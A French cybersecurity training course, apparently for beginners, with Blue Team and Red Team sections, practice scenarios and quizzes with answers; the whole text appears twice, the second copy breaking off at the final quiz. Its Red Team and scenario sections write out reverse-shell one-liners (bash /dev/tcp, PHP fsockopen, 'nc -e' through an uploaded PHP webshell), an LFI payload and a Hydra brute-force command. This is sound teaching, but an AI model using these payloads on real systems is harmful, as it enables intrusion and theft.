# Partie 1 – Introduction à la Cybersécurité

## 1.1 – Qu’est-ce que la cybersécurité ?

La cybersécurité désigne l’ensemble des pratiques, technologies et processus utilisés pour protéger les systèmes informatiques, les réseaux, les logiciels, et les données contre les cyberattaques.

**Objectifs principaux :** - **Confidentialité** : empêcher l’accès non autorisé à l’information - **Intégrité** : empêcher la modification ou la suppression non autorisée - **Disponibilité** : garantir l’accès légitime à l’information et aux services

---

## 1.2 – Les grandes familles d’attaques

| Type d’attaque | Description rapide | Exemple courant |
|---|---|---| | Logique | Exploite une faille logicielle | XSS, LFI, File Upload | | Physique | Accès matériel à un appareil | Vol de PC, USB injectée | | Sociale (humaine) | Manipulation de personnes | Phishing, ingénierie sociale | | Interne | Provient d’un employé | Défaillance volontaire | | Externe | Provient d’un attaquant hors de l’entreprise | Hacker distant |

---

## 1.3 – Acteurs & rôles dans le cyberespace

| Rôle / acteur | But principal | |---|---| | **Red Team** | Attaquer pour tester la sécurité | | **Blue Team** | Défendre, surveiller, réagir | | **Purple Team** | Coordination entre Red & Blue | | **Pentester** | Testeur d’intrusion | | **CTI Analyst** | Analyse des menaces (Cyber Threat Intel) | | **Forensic** | Analyse post-mortem d’un incident |

---

## 1.4 – Outils de base à connaître dès le début

| Catégorie | Outils/Techs | |---|---| | Analyse réseau | Wireshark, TCPDump, Netstat | | Scan & Enum | Nmap, Gobuster, Dirb | | Exploitation | Metasploit, msfvenom, Burp Suite | | Défense | Fail2Ban, Logwatch, UFW, iptables | | Scripts utiles | Python, Bash, PowerShell | | OS de test | Kali Linux, Parrot, Ubuntu, Windows VM |

---

# 1.5 – Vocabulaire fondamental

- **Vulnérabilité** : faille exploitable
- **Exploit** : code ou méthode utilisé pour tirer parti d’une vulnérabilité
- **Payload** : charge utile envoyée (reverse shell, malware, etc.)
- **Zero-Day** : faille non encore connue du public
- **Rootkit** : outil permettant une présence furtive sur un système

---

# 1.6 – Quiz rapide : es-tu prêt à devenir cyber agent ?

**1. Que signifie CIA en cybersécurité ?**
A. Confidentialité, Intégrité, Accessibilité
B. Confidentialité, Intégrité, Authenticité
C. Confidentialité, Intégrité, Disponibilité
D. Central Intelligence Agency

**2. Quel outil permet d'analyser en profondeur les paquets réseau ?**
A. Nmap
B. Netcat
C. Wireshark
D. Hydra

**3. Une attaque par Phishing est :**
A. Un scan réseau
B. Une attaque sociale
C. Une exploitation logicielle
D. Un malware

---

# 1.7 – Réponses du quiz

1. **C**
2. **C**
3. **B**

# Partie 2 – Blue Team : Défense & Protection

## 2.1 – Introduction à la Blue Team

La Blue Team est chargée de la **défense proactive et réactive** des systèmes. Elle identifie les failles, surveille les réseaux, détecte les intrusions, et déploie des contre-mesures.

**Rôle principal :** empêcher, détecter, réagir et répondre aux cyberattaques.

---

## 2.2 – Analyse réseau avec Wireshark

### Objectif :

Comprendre ce qui se passe sur le réseau en temps réel.

### Commandes utiles :

- `wireshark` (GUI) ou `tshark` (CLI)
- Filtres : `http`, `ip.addr == 192.168.1.1`, `tcp.port == 80`

### Cas pratique :

Capture d’un mot de passe en clair via HTTP dans Wireshark.

---

## 2.3 – Scan réseau et détection d’exposition

### Outils :

- **Nmap** : pour découvrir les services exposés
- **Searchsploit** : pour détecter des vulnérabilités connues

### Exemple :

```
bash nmap -sV -p- 192.168.1.1 searchsploit apache 2.4.49
```

---

## 2.4 – Logs & surveillance système

### Fichiers à surveiller :

- `/var/log/auth.log`

- `/var/log/apache2/access.log`
- `/var/log/syslog`

### Outils :

- `journalctl`
- `logwatch`
- `rsyslog`

### Bonnes pratiques :

- Garder les logs au minimum 90 jours
- Centraliser avec un SIEM (ex : Wazuh, Splunk)

---

## 2.5 – Firewall & contrôle du trafic

### Outils :

- `ufw` : pare-feu simplifié
- `iptables` : pare-feu avancé

### Commandes :

```
bash ufw status ufw enable ufw allow 22/tcp
```

### Cas pratique :

Bloquer les connexions sur le port `4444/tcp` utilisé par netcat.

---

## 2.6 – Fail2ban : protection contre les attaques brutes

Fail2ban scanne les logs à la recherche de connexions suspectes et bannit automatiquement les IP malveillantes.

### Commandes :

```
bash sudo apt install fail2ban sudo systemctl start fail2ban
```

### Configuration :

- Fichier : `/etc/fail2ban/jail.local`
- Exemple : bloquer SSH après 5 tentatives

---

# 2.7 – Durcissement d’un serveur web (Apache/PHP)

### Objectifs :

- Désactiver l'exécution dans `/uploads`
- Sécuriser les versions, désactiver les fonctions dangereuses

### Exemple :

```
apache <Directory "/var/www/html/uploads"> php_admin_flag engine
off Options -ExecCGI -Indexes </Directory>
```

---

# 2.8 – Quiz : défense en profondeur

**1. Quel outil permet de bannir automatiquement une IP après des tentatives de connexion SSH échouées ?**
A. Nmap
B. Fail2ban
C. Hydra
D. Wireshark

**2. Quel fichier contient les logs d’authentification sur Linux ?**
A. /var/log/syslog
B. /var/log/access.log
C. /var/log/auth.log
D. /etc/shadow

**3. Quelle commande permet d'autoriser le port 80 avec UFW ?**
A. ufw deny 80
B. ufw allow http
C. allow port 80
D. ufw enable 80

---

# 2.9 – Réponses du quiz

1. **B**
2. **C**
3. **B**

# Partie 3 – Red Team : Offensive & Exploitation

## 3.1 – Introduction à la Red Team

La Red Team effectue des tests d'intrusion pour découvrir et exploiter les failles, simuler des attaques réelles et améliorer la posture de sécurité.

**Rôle principal :** identifier les vulnérabilités et démontrer leur impact.

---

## 3.2 – Reconnaissance web

### Outils :

- **Gobuster** : brute force de répertoires
- **Dirb** : similar à Gobuster
- **Nikto** : scanner de vulnérabilités web

### Exemple :

```
bash gobuster dir -u http://192.168.1.1/ -w /usr/share/wordlists/
dirb/common.txt nikto -h http://192.168.1.1
```

---

## 3.3 – Vulnérabilités Web

### 3.3.1 – XSS (Cross-Site Scripting)

- **Reflected** vs **Stored**
- **Payloads typiques** : `<script>alert(1)</script>`
- **Protection** : Content Security Policy (CSP), encodage

### 3.3.2 – LFI (Local File Inclusion)

- **Payload** : `../../../../etc/passwd`
- **Exemple** : lecture de `/etc/passwd`

### 3.3.3 – File Upload

- **Vulnérabilité** : absence de vérification MIME/type
- **Payload** : webshell PHP `<?php system($_GET['cmd']); ?>`
- **Étapes** :
  1. Uploader la webshell
  2. Exécuter la commande : `http://host/uploads/shell.php?cmd=id`

3. Obtenir reverse shell

### 3.3.4 – Brute Force

- **Hydra** : attaque par dictionnaire
- **Commande** : `bash hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"`

---

## 3.4 – Reverse Shells

### Outils :

- **Netcat** : `nc -lvp 4444`
- **Bash** : `bash -i >& /dev/tcp/192.168.1.1/4444 0>&1`
- **PHP** : `php -r '$sock=fsockopen("192.168.1.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'`

---

## 3.5 – Privilege Escalation

### Linux :

- **SUID** : `find / -perm -4000 -type f 2>/dev/null`
- **Kernel Exploits** : Searchsploit (pkexec, ptrace)
- **Configurations faibles** : sudo without password

### Windows :

- **PowerShell** : `Get-ChildItem -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Run`
- **Exploits** : MS17-010 (EternalBlue)

---

## 3.6 – Mobile Pentesting (Android & iOS)

### Android :

- **msfvenom** : génération d’APK malveillant
- **Metasploit** : `use exploit/multi/handler`
- **APKTool** : décompilation et injection

### iOS :

- **Phases** : reconnaissance URIs, contournement iCloud, captive portal
- **Outils** : TrollStore, Bootstrap, Serotonin

---

# 3.7 – Quiz : Attaque & Exploitation

**1. Quel outil permet de brute-forcer les répertoires web ?**
A. Nmap
B. Gobuster
C. Fail2ban
D. Logwatch

**2. Quelle commande Netcat ouvre un listener sur le port 4444 ?**
A. nc -l 80
B. nc -lvp 4444
C. netcat -p 4444
D. nc -e /bin/sh

**3. Quel fichier SUID peut indiquer une escalade de privilèges potentielle sur Linux ?**
A. /etc/passwd
B. /usr/bin/passwd
C. /bin/sh
D. /usr/bin/sudo

---

# 3.8 – Réponses du quiz

1. **B**
2. **B**
3. **C**

# Partie 4 – Outils & Scripts

## 4.1 – Introduction

Les outils sont l’arsenal du cyber agent. Chaque mission offensive ou défensive nécessite une panoplie adaptée. Voici les indispensables, classés par usage.

---

## 4.2 – Outils réseau

| Outil | Fonction principale | |---|---| | Wireshark | Analyse réseau visuelle (paquets) | | TCPDump | Sniffing en ligne de commande | | Netstat | Afficher les connexions réseau | | Nmap | Scanner de ports et services | | Traceroute | Afficher le chemin réseau vers une IP |

### Exemple :

```
bash tcpdump -i eth0 netstat -tulnp nmap -sS -Pn -p- 192.168.1.1
```

---

## 4.3 – Outils de scan et énumération

| Outil | Description | |---|---| | Gobuster | Forçage de répertoires web | | Dirb | Similaire à Gobuster | | Nikto | Scanner vulnérabilités HTTP | | WhatWeb | Détecte les technologies d’un site | | Searchsploit | Rechercher des exploits liés à un service |

---

## 4.4 – Outils d’exploitation

| Outil | Fonction | |---|---| | Metasploit | Framework d’exploitation | | Msfvenom | Générateur de payloads | | Netcat | Shells et transfert réseau | | Burp Suite | Proxy pour pentest web | | sqlmap | Injection SQL automatisée |

---

## 4.5 – Scripts utiles : Python, Bash, PowerShell

### Exemple Bash : Reverse shell

```
bash bash -i >& /dev/tcp/192.168.1.1/4444 0>&1
```

### Exemple Python : Scanner de ports simple

```
python import socket ip = "192.168.1.1" for port in range(20, 1025): s = socket.socket() if s.connect_ex((ip, port)) == 0: print(f"Port {port} ouvert") s.close()
```

### Exemple PowerShell : Liste des connexions

```
powershell Get-NetTCPConnection | Where-Object {$_.State -eq "Established"}
```

---

# 4.6 – Générateurs et utilitaires

| Outil | Usage | |---|---| | Crunch | Générateur de wordlists personnalisées | | Hashcat | Craquage de mots de passe par GPU | | John The Ripper | Craquage de mots de passe en local |

---

# 4.7 – Quiz : Arsenal du cyber agent

**1. Quel outil permet de générer un payload avec une IP et un port ?**
A. Netcat
B. Gobuster
C. Msfvenom
D. Burp Suite

**2. Quel outil est utilisé pour observer le trafic web en tant que proxy ?**
A. Nmap
B. Hydra
C. Burp Suite
D. Nikto

**3. Quel langage est souvent utilisé pour créer des outils d'automatisation et des scans personnalisés ?**
A. HTML
B. Python
C. CSS
D. Java

---

# 4.8 – Réponses du quiz

1. **C**
2. **C**
3. **B**

# Partie 5 – Études de cas & Scénarios pratiques

## 5.1 – Introduction

Dans cette section, on plonge dans la réalité du terrain. Chaque scénario est une mission inspirée de cas réels ou d'exercices de cybersécurité.

---

## 5.2 – Scénario 1 : Capture de mot de passe en clair (HTTP)

### Objectif :

Intercepter un mot de passe transmis en clair sur un site non sécurisé.

### Outils :

- Wireshark
- Mini serveur Flask vulnérable

### Étapes :

1. Démarrer le serveur HTTP (ex. formulaire de login sans HTTPS)
2. Sniffer le trafic avec Wireshark
3. Filtrer par `http.request` ou `tcp.port == 80`
4. Lire les credentials en clair

---

## 5.3 – Scénario 2 : Brute force via Hydra

### Objectif :

Trouver le mot de passe d’un utilisateur avec une wordlist.

### Commande :

```
bash hydra -l admin -P /usr/share/wordlists/rockyou.txt
192.168.1.1 http-post-form "/
login:username=^USER^&password=^PASS^:F=incorrect"
```

### Bonnes pratiques défensives :

- Limiter les tentatives
- Captcha ou 2FA

- Utiliser Fail2ban

---

# 5.4 – Scénario 3 : Reverse shell depuis un File Upload

### Objectif :

Uploader un fichier PHP malveillant et exécuter un reverse shell.

### Étapes :

1. Créer la payload : `php <?php system($_GET['cmd']); ?>`
2. L'uploader sur `/uploads/`
3. Exécuter : `http://IP/uploads/shell.php?cmd=nc -e /bin/sh IP 4444`
4. Sur l'attaquant : `bash nc -lvp 4444`

---

# 5.5 – Scénario 4 : Escalade de privilège avec SUID

### Objectif :

Repérer un binaire SUID exploitable et obtenir une élévation de privilège.

### Étapes :

1. Lister les fichiers SUID : `bash find / -perm -4000 -type f 2>/dev/null`
2. Identifier `/usr/bin/passwd` ou autre binaire
3. Vérifier si exécutable par un utilisateur non privilégié
4. Exploiter (ex: via script ou code C)

---

# 5.6 – Scénario 5 : Sécurisation active (Blue Team)

### Objectif :

Empêcher une exploitation en direct via File Upload.

### Étapes :

1. Désactiver exécution PHP dans `/uploads` `apache <Directory "/var/www/html/uploads"> php_admin_flag engine off </Directory>`
2. Bloquer netcat : `bash chmod -x /bin/nc`

3. Restreindre www-data : `bash usermod -L www-data`
4. Bloquer le port 4444 : `bash ufw deny 4444/tcp`
5. Activer Fail2ban : `bash systemctl enable fail2ban`

---

# 5.7 – Quiz : Réflexes pratiques

**1. Quel outil est utilisé pour intercepter du trafic réseau ?**
A. Netstat
B. Hydra
C. Wireshark
D. Searchsploit

**2. Quelle commande bloque un port avec UFW ?**
A. ufw allow 4444
B. block port 4444
C. ufw deny 4444/tcp
D. firewall -p 4444 off

**3. Quel est le rôle de Fail2ban ?**
A. Créer des firewalls
B. Bannir les IP après tentatives suspectes
C. Intercepter les connexions SSL
D. Scanner les ports

---

# 5.8 – Réponses du quiz

1. **C**
2. **C**
3. **B**

# Partie 6 – Environnements & Bonnes Pratiques

## 6.1 – Introduction

Cette section te donne les clés pour mettre en place un environnement professionnel et sécurisé, que tu sois en mode offensive (Red Team) ou défensive (Blue Team).

---

## 6.2 – Systèmes d’exploitation recommandés

| OS | Usage principal | |----------------|----------------------------------------| | Kali Linux | Pentesting, outils offensifs intégrés | | Parrot OS | Alternative à Kali, plus légère | | Ubuntu | Environnement serveur ou user-friendly | | Windows | Pour tests AD, malware, PowerShell |

### Conseils :

- Utiliser des machines virtuelles (VirtualBox, VMware)
- Séparer Red Team et Blue Team sur des VMs différentes

---

## 6.3 – Configuration réseau typique

| Élément | Description | |------------------------|----------------------------------------| | VPN | Chiffrer les connexions | | Proxy (ex : Burp) | Intercepter les requêtes web | | Réseau isolé (NAT, host-only) | Sécuriser les tests locaux |

### Exemple :

- Kali NAT + Ubuntu NAT + Switch virtuel
- VM cible avec vulnérabilités

---

## 6.4 – Gestion des mots de passe

### Bonnes pratiques :

- Gestionnaire sécurisé : Bitwarden, KeePassXC
- Génération de mots de passe complexes
- Ne jamais stocker en clair

### Exemple :

```
bash openssl rand -base64 20
```

---

# 6.5 – Organisation personnelle & documentation

### Outils recommandés :

- Markdown + Obsidian / Notion
- GitHub pour versionner les scripts
- PDF pour export et archivage

### Astuce :

Créer un dossier `/CyberDocs` avec : `/scans /scripts /docs /logs /CTF`

---

# 6.6 – Sécurité au quotidien

| Action | Pourquoi ? | |---|---| | Mettre à jour son système | Corriger les vulnérabilités | | Limiter les services exposés | Réduire la surface d’attaque | | Utiliser des mots de passe forts| Empêcher le bruteforce | | Journaliser les actions | Analyse post-incident |

---

# 6.7 – Quiz : Bonnes pratiques

**1. Quel outil est recommandé pour intercepter les requêtes HTTP ?**
A. KeePass
B. Burp Suite
C. Netcat
D. Nikto

**2. Quelle commande génère un mot de passe complexe ?**
A. openssl rand -base64 20
B. passwd root
C. sudo password
D. hash --generate

**3. Quel format est recommandé pour documenter ses scripts et commandes ?**
A. PDF
B. HTML
C. CSV
D. Markdown

---

## 6.8 – Réponses du quiz

1. **B**
2. **A**
3. **D**

# Partie 1 – Introduction à la Cybersécurité

## 1.1 – Qu’est-ce que la cybersécurité ?

La cybersécurité désigne l’ensemble des pratiques, technologies et processus utilisés pour protéger les systèmes informatiques, les réseaux, les logiciels, et les données contre les cyberattaques.

**Objectifs principaux :** - **Confidentialité** : empêcher l’accès non autorisé à l’information - **Intégrité** : empêcher la modification ou la suppression non autorisée - **Disponibilité** : garantir l’accès légitime à l’information et aux services

---

## 1.2 – Les grandes familles d’attaques

| Type d’attaque | Description rapide | Exemple courant |
|---|---|---| | Logique | Exploite une faille logicielle | XSS, LFI, File Upload | | Physique | Accès matériel à un appareil | Vol de PC, USB injectée | | Sociale (humaine) | Manipulation de personnes | Phishing, ingénierie sociale | | Interne | Provient d’un employé | Défaillance volontaire | | Externe | Provient d’un attaquant hors de l’entreprise | Hacker distant |

---

## 1.3 – Acteurs & rôles dans le cyberespace

| Rôle / acteur | But principal | |---|---| | **Red Team** | Attaquer pour tester la sécurité | | **Blue Team** | Défendre, surveiller, réagir | | **Purple Team** | Coordination entre Red & Blue | | **Pentester** | Testeur d’intrusion | | **CTI Analyst** | Analyse des menaces (Cyber Threat Intel) | | **Forensic** | Analyse post-mortem d’un incident |

---

## 1.4 – Outils de base à connaître dès le début

| Catégorie | Outils/Techs | |---|---| | Analyse réseau | Wireshark, TCPDump, Netstat | | Scan & Enum | Nmap, Gobuster, Dirb | | Exploitation | Metasploit, msfvenom, Burp Suite | | Défense | Fail2Ban, Logwatch, UFW, iptables | | Scripts utiles | Python, Bash, PowerShell | | OS de test | Kali Linux, Parrot, Ubuntu, Windows VM |

---

# 1.5 – Vocabulaire fondamental

- **Vulnérabilité** : faille exploitable
- **Exploit** : code ou méthode utilisé pour tirer parti d’une vulnérabilité
- **Payload** : charge utile envoyée (reverse shell, malware, etc.)
- **Zero-Day** : faille non encore connue du public
- **Rootkit** : outil permettant une présence furtive sur un système

---

# 1.6 – Quiz rapide : es-tu prêt à devenir cyber agent ?

**1. Que signifie CIA en cybersécurité ?**
A. Confidentialité, Intégrité, Accessibilité
B. Confidentialité, Intégrité, Authenticité
C. Confidentialité, Intégrité, Disponibilité
D. Central Intelligence Agency

**2. Quel outil permet d'analyser en profondeur les paquets réseau ?**
A. Nmap
B. Netcat
C. Wireshark
D. Hydra

**3. Une attaque par Phishing est :**
A. Un scan réseau
B. Une attaque sociale
C. Une exploitation logicielle
D. Un malware

---

# 1.7 – Réponses du quiz

1. **C**
2. **C**
3. **B**

# Partie 2 – Blue Team : Défense & Protection

## 2.1 – Introduction à la Blue Team

La Blue Team est chargée de la **défense proactive et réactive** des systèmes. Elle identifie les failles, surveille les réseaux, détecte les intrusions, et déploie des contre-mesures.

**Rôle principal :** empêcher, détecter, réagir et répondre aux cyberattaques.

---

## 2.2 – Analyse réseau avec Wireshark

### Objectif :

Comprendre ce qui se passe sur le réseau en temps réel.

### Commandes utiles :

- `wireshark` (GUI) ou `tshark` (CLI)
- Filtres : `http`, `ip.addr == 192.168.1.1`, `tcp.port == 80`

### Cas pratique :

Capture d’un mot de passe en clair via HTTP dans Wireshark.

---

## 2.3 – Scan réseau et détection d’exposition

### Outils :

- **Nmap** : pour découvrir les services exposés
- **Searchsploit** : pour détecter des vulnérabilités connues

### Exemple :

```
bash nmap -sV -p- 192.168.1.1 searchsploit apache 2.4.49
```

---

## 2.4 – Logs & surveillance système

### Fichiers à surveiller :

- `/var/log/auth.log`

- `/var/log/apache2/access.log`
- `/var/log/syslog`

### Outils :

- `journalctl`
- `logwatch`
- `rsyslog`

### Bonnes pratiques :

- Garder les logs au minimum 90 jours
- Centraliser avec un SIEM (ex : Wazuh, Splunk)

---

## 2.5 – Firewall & contrôle du trafic

### Outils :

- `ufw` : pare-feu simplifié
- `iptables` : pare-feu avancé

### Commandes :

```
bash ufw status ufw enable ufw allow 22/tcp
```

### Cas pratique :

Bloquer les connexions sur le port `4444/tcp` utilisé par netcat.

---

## 2.6 – Fail2ban : protection contre les attaques brutes

Fail2ban scanne les logs à la recherche de connexions suspectes et bannit automatiquement les IP malveillantes.

### Commandes :

```
bash sudo apt install fail2ban sudo systemctl start fail2ban
```

### Configuration :

- Fichier : `/etc/fail2ban/jail.local`
- Exemple : bloquer SSH après 5 tentatives

---

# 2.7 – Durcissement d’un serveur web (Apache/PHP)

### Objectifs :

- Désactiver l'exécution dans `/uploads`
- Sécuriser les versions, désactiver les fonctions dangereuses

### Exemple :

```
apache <Directory "/var/www/html/uploads"> php_admin_flag engine
off Options -ExecCGI -Indexes </Directory>
```

---

# 2.8 – Quiz : défense en profondeur

**1. Quel outil permet de bannir automatiquement une IP après des tentatives de connexion SSH échouées ?**
A. Nmap
B. Fail2ban
C. Hydra
D. Wireshark

**2. Quel fichier contient les logs d’authentification sur Linux ?**
A. /var/log/syslog
B. /var/log/access.log
C. /var/log/auth.log
D. /etc/shadow

**3. Quelle commande permet d'autoriser le port 80 avec UFW ?**
A. ufw deny 80
B. ufw allow http
C. allow port 80
D. ufw enable 80

---

# 2.9 – Réponses du quiz

1. **B**
2. **C**
3. **B**

# Partie 3 – Red Team : Offensive & Exploitation

## 3.1 – Introduction à la Red Team

La Red Team effectue des tests d'intrusion pour découvrir et exploiter les failles, simuler des attaques réelles et améliorer la posture de sécurité.

**Rôle principal :** identifier les vulnérabilités et démontrer leur impact.

---

## 3.2 – Reconnaissance web

### Outils :

- **Gobuster** : brute force de répertoires
- **Dirb** : similar à Gobuster
- **Nikto** : scanner de vulnérabilités web

### Exemple :

```
bash gobuster dir -u http://192.168.1.1/ -w /usr/share/wordlists/
dirb/common.txt nikto -h http://192.168.1.1
```

---

## 3.3 – Vulnérabilités Web

### 3.3.1 – XSS (Cross-Site Scripting)

- **Reflected** vs **Stored**
- **Payloads typiques** : `<script>alert(1)</script>`
- **Protection** : Content Security Policy (CSP), encodage

### 3.3.2 – LFI (Local File Inclusion)

- **Payload** : `../../../../etc/passwd`
- **Exemple** : lecture de `/etc/passwd`

### 3.3.3 – File Upload

- **Vulnérabilité** : absence de vérification MIME/type
- **Payload** : webshell PHP `<?php system($_GET['cmd']); ?>`
- **Étapes** :
  1. Uploader la webshell
  2. Exécuter la commande : `http://host/uploads/shell.php?cmd=id`

3. Obtenir reverse shell

### 3.3.4 – Brute Force

- **Hydra** : attaque par dictionnaire
- **Commande** : `bash hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"`

---

## 3.4 – Reverse Shells

### Outils :

- **Netcat** : `nc -lvp 4444`
- **Bash** : `bash -i >& /dev/tcp/192.168.1.1/4444 0>&1`
- **PHP** : `php -r '$sock=fsockopen("192.168.1.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'`

---

## 3.5 – Privilege Escalation

### Linux :

- **SUID** : `find / -perm -4000 -type f 2>/dev/null`
- **Kernel Exploits** : Searchsploit (pkexec, ptrace)
- **Configurations faibles** : sudo without password

### Windows :

- **PowerShell** : `Get-ChildItem -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Run`
- **Exploits** : MS17-010 (EternalBlue)

---

## 3.6 – Mobile Pentesting (Android & iOS)

### Android :

- **msfvenom** : génération d’APK malveillant
- **Metasploit** : `use exploit/multi/handler`
- **APKTool** : décompilation et injection

### iOS :

- **Phases** : reconnaissance URIs, contournement iCloud, captive portal
- **Outils** : TrollStore, Bootstrap, Serotonin

---

# 3.7 – Quiz : Attaque & Exploitation

**1. Quel outil permet de brute-forcer les répertoires web ?**
A. Nmap
B. Gobuster
C. Fail2ban
D. Logwatch

**2. Quelle commande Netcat ouvre un listener sur le port 4444 ?**
A. nc -l 80
B. nc -lvp 4444
C. netcat -p 4444
D. nc -e /bin/sh

**3. Quel fichier SUID peut indiquer une escalade de privilèges potentielle sur Linux ?**
A. /etc/passwd
B. /usr/bin/passwd
C. /bin/sh
D. /usr/bin/sudo

---

# 3.8 – Réponses du quiz

1. **B**
2. **B**
3. **C**

# Partie 4 – Outils & Scripts

## 4.1 – Introduction

Les outils sont l’arsenal du cyber agent. Chaque mission offensive ou défensive nécessite une panoplie adaptée. Voici les indispensables, classés par usage.

---

## 4.2 – Outils réseau

| Outil | Fonction principale | |---|---| | Wireshark | Analyse réseau visuelle (paquets) | | TCPDump | Sniffing en ligne de commande | | Netstat | Afficher les connexions réseau | | Nmap | Scanner de ports et services | | Traceroute | Afficher le chemin réseau vers une IP |

### Exemple :

```
bash tcpdump -i eth0 netstat -tulnp nmap -sS -Pn -p- 192.168.1.1
```

---

## 4.3 – Outils de scan et énumération

| Outil | Description | |---|---| | Gobuster | Forçage de répertoires web | | Dirb | Similaire à Gobuster | | Nikto | Scanner vulnérabilités HTTP | | WhatWeb | Détecte les technologies d’un site | | Searchsploit | Rechercher des exploits liés à un service |

---

## 4.4 – Outils d’exploitation

| Outil | Fonction | |---|---| | Metasploit | Framework d’exploitation | | Msfvenom | Générateur de payloads | | Netcat | Shells et transfert réseau | | Burp Suite | Proxy pour pentest web | | sqlmap | Injection SQL automatisée |

---

## 4.5 – Scripts utiles : Python, Bash, PowerShell

### Exemple Bash : Reverse shell

```
bash bash -i >& /dev/tcp/192.168.1.1/4444 0>&1
```

### Exemple Python : Scanner de ports simple

```
python import socket ip = "192.168.1.1" for port in range(20, 1025): s = socket.socket() if s.connect_ex((ip, port)) == 0: print(f"Port {port} ouvert") s.close()
```

### Exemple PowerShell : Liste des connexions

```
powershell Get-NetTCPConnection | Where-Object {$_.State -eq "Established"}
```

---

# 4.6 – Générateurs et utilitaires

| Outil | Usage | |---|---| | Crunch | Générateur de wordlists personnalisées | | Hashcat | Craquage de mots de passe par GPU | | John The Ripper | Craquage de mots de passe en local |

---

# 4.7 – Quiz : Arsenal du cyber agent

**1. Quel outil permet de générer un payload avec une IP et un port ?**
A. Netcat
B. Gobuster
C. Msfvenom
D. Burp Suite

**2. Quel outil est utilisé pour observer le trafic web en tant que proxy ?**
A. Nmap
B. Hydra
C. Burp Suite
D. Nikto

**3. Quel langage est souvent utilisé pour créer des outils d'automatisation et des scans personnalisés ?**
A. HTML
B. Python
C. CSS
D. Java

---

# 4.8 – Réponses du quiz

1. **C**
2. **C**
3. **B**

# Partie 5 – Études de cas & Scénarios pratiques

## 5.1 – Introduction

Dans cette section, on plonge dans la réalité du terrain. Chaque scénario est une mission inspirée de cas réels ou d'exercices de cybersécurité.

---

## 5.2 – Scénario 1 : Capture de mot de passe en clair (HTTP)

### Objectif :

Intercepter un mot de passe transmis en clair sur un site non sécurisé.

### Outils :

- Wireshark
- Mini serveur Flask vulnérable

### Étapes :

1. Démarrer le serveur HTTP (ex. formulaire de login sans HTTPS)
2. Sniffer le trafic avec Wireshark
3. Filtrer par `http.request` ou `tcp.port == 80`
4. Lire les credentials en clair

---

## 5.3 – Scénario 2 : Brute force via Hydra

### Objectif :

Trouver le mot de passe d’un utilisateur avec une wordlist.

### Commande :

```
bash hydra -l admin -P /usr/share/wordlists/rockyou.txt
192.168.1.1 http-post-form "/
login:username=^USER^&password=^PASS^:F=incorrect"
```

### Bonnes pratiques défensives :

- Limiter les tentatives
- Captcha ou 2FA

- Utiliser Fail2ban

---

# 5.4 – Scénario 3 : Reverse shell depuis un File Upload

### Objectif :

Uploader un fichier PHP malveillant et exécuter un reverse shell.

### Étapes :

1. Créer la payload : `php <?php system($_GET['cmd']); ?>`
2. L'uploader sur `/uploads/`
3. Exécuter : `http://IP/uploads/shell.php?cmd=nc -e /bin/sh IP 4444`
4. Sur l'attaquant : `bash nc -lvp 4444`

---

# 5.5 – Scénario 4 : Escalade de privilège avec SUID

### Objectif :

Repérer un binaire SUID exploitable et obtenir une élévation de privilège.

### Étapes :

1. Lister les fichiers SUID : `bash find / -perm -4000 -type f 2>/dev/null`
2. Identifier `/usr/bin/passwd` ou autre binaire
3. Vérifier si exécutable par un utilisateur non privilégié
4. Exploiter (ex: via script ou code C)

---

# 5.6 – Scénario 5 : Sécurisation active (Blue Team)

### Objectif :

Empêcher une exploitation en direct via File Upload.

### Étapes :

1. Désactiver exécution PHP dans `/uploads` `apache <Directory "/var/www/html/uploads"> php_admin_flag engine off </Directory>`
2. Bloquer netcat : `bash chmod -x /bin/nc`

3. Restreindre www-data : `bash usermod -L www-data`
4. Bloquer le port 4444 : `bash ufw deny 4444/tcp`
5. Activer Fail2ban : `bash systemctl enable fail2ban`

---

# 5.7 – Quiz : Réflexes pratiques

**1. Quel outil est utilisé pour intercepter du trafic réseau ?**
A. Netstat
B. Hydra
C. Wireshark
D. Searchsploit

**2. Quelle commande bloque un port avec UFW ?**
A. ufw allow 4444
B. block port 4444
C. ufw deny 4444/tcp
D. firewall -p 4444 off

**3. Quel est le rôle de Fail2ban ?**
A. Créer des firewalls
B. Bannir les IP après tentatives suspectes
C. Intercepter les connexions SSL
D. Scanner les ports

---

# 5.8 – Réponses du quiz

1. **C**
2. **C**
3. **B**

# Partie 6 – Environnements & Bonnes Pratiques

## 6.1 – Introduction

Cette section te donne les clés pour mettre en place un environnement professionnel et sécurisé, que tu sois en mode offensive (Red Team) ou défensive (Blue Team).

---

## 6.2 – Systèmes d’exploitation recommandés

| OS | Usage principal | |----------------|----------------------------------------| | Kali Linux | Pentesting, outils offensifs intégrés | | Parrot OS | Alternative à Kali, plus légère | | Ubuntu | Environnement serveur ou user-friendly | | Windows | Pour tests AD, malware, PowerShell |

### Conseils :

- Utiliser des machines virtuelles (VirtualBox, VMware)
- Séparer Red Team et Blue Team sur des VMs différentes

---

## 6.3 – Configuration réseau typique

| Élément | Description | |------------------------|----------------------------------------| | VPN | Chiffrer les connexions | | Proxy (ex : Burp) | Intercepter les requêtes web | | Réseau isolé (NAT, host-only) | Sécuriser les tests locaux |

### Exemple :

- Kali NAT + Ubuntu NAT + Switch virtuel
- VM cible avec vulnérabilités

---

## 6.4 – Gestion des mots de passe

### Bonnes pratiques :

- Gestionnaire sécurisé : Bitwarden, KeePassXC
- Génération de mots de passe complexes
- Ne jamais stocker en clair

### Exemple :

```
bash openssl rand -base64 20
```

---

# 6.5 – Organisation personnelle & documentation

### Outils recommandés :

- Markdown + Obsidian / Notion
- GitHub pour versionner les scripts
- PDF pour export et archivage

### Astuce :

Créer un dossier `/CyberDocs` avec : `/scans /scripts /docs /logs /CTF`

---

# 6.6 – Sécurité au quotidien

| Action | Pourquoi ? | |---|---| | Mettre à jour son système | Corriger les vulnérabilités | | Limiter les services exposés | Réduire la surface d’attaque | | Utiliser des mots de passe forts| Empêcher le bruteforce | | Journaliser les actions | Analyse post-incident |

---

# 6.7 – Quiz : Bonnes pratiques

**1. Quel outil est recommandé pour intercepter les requêtes HTTP ?**
A. KeePass
B. Burp Suite
C. Netcat
D. Nikto

